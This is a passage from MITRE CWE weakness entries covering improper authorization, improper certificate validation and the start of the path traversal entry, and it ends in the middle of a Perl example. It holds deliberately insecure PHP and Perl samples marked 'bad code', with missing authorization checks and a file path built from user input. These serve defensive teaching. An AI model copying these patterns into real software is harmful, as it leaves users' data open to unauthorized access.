ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.219Sensitive Data Under Web Root
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.732Incorrect Permission Assignment for Critical Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.863Incorrect Authorization
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.926Improper Export of Android Application Components
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.927Use of Implicit Intent for Sensitive Communication
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.863Incorrect Authorization
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.926Improper Export of Android Application Components
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.927Use of Implicit Intent for Sensitive Communication
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

+ Observed Examples
ReferenceDescription
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.817OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMissing Access Control
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
Software Fault PatternsSFP35Insecure resource access
+ References
[REF-229] NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganization
7 Pernicious Kingdoms
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Type
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Description
2011-03-24CWE Content TeamMITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Missing or Inconsistent Access Control
2011-03-29Improper Access Control (Authorization)

CWE-295: Improper Certificate Validation

Weakness ID: 295
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software does not validate, or incorrectly validates, a certificate.
+ Extended Description
When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.296Improper Following of a Certificate's Chain of Trust
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.297Improper Validation of Certificate with Host Mismatch
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.298Improper Validation of Certificate Expiration
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.299Improper Check for Certificate Revocation
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.599Missing Validation of OpenSSL Certificate
PeerOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.322Key Exchange without Entity Authentication
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.297Improper Validation of Certificate with Host Mismatch
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.296Improper Following of a Certificate's Chain of Trust
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.297Improper Validation of Certificate with Host Mismatch
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.298Improper Validation of Certificate Expiration
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.299Improper Check for Certificate Revocation
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.599Missing Validation of OpenSSL Certificate
+ Background Details
A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
ImplementationWhen the software uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Mobile (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Authentication

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

+ Observed Examples
ReferenceDescription
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).
Verification function trusts certificate chains in which the last certificate is self-signed.
Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
Web browser does not check if any intermediate certificates are revoked.
Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
Mobile banking application does not verify hostname, leading to financial loss.
Cloud-support library written in Python uses incorrect regular expression when matching hostname.
Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
Smartphone device does not verify hostname, allowing spoofing of mail services.
Application uses third-party library that does not validate hostname.
Cloud storage management application does not validate hostname.
Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
chain: incorrect calculation allows attackers to bypass certificate checks.
LDAP client accepts certificates even if they are not from a trusted CA.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
+ References
[REF-243] Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16. <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf>.
[REF-244] M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.
+ Content History
Modifications
Modification DateModifierOrganization
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Background_Details, Description
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns
2012-12-28CWE Content TeamMITRE
Converted from category to weakness class.
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Background_Details, Modes_of_Introduction, Potential_Mitigations, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2013-02-21Certificate Issues

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.23Relative Path Traversal
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.36Absolute Path Traversal
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.20Improper Input Validation
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.172Encoding Error
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.21Pathname Traversal and Equivalence Errors
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.23Relative Path Traversal
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.36Absolute Path Traversal
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
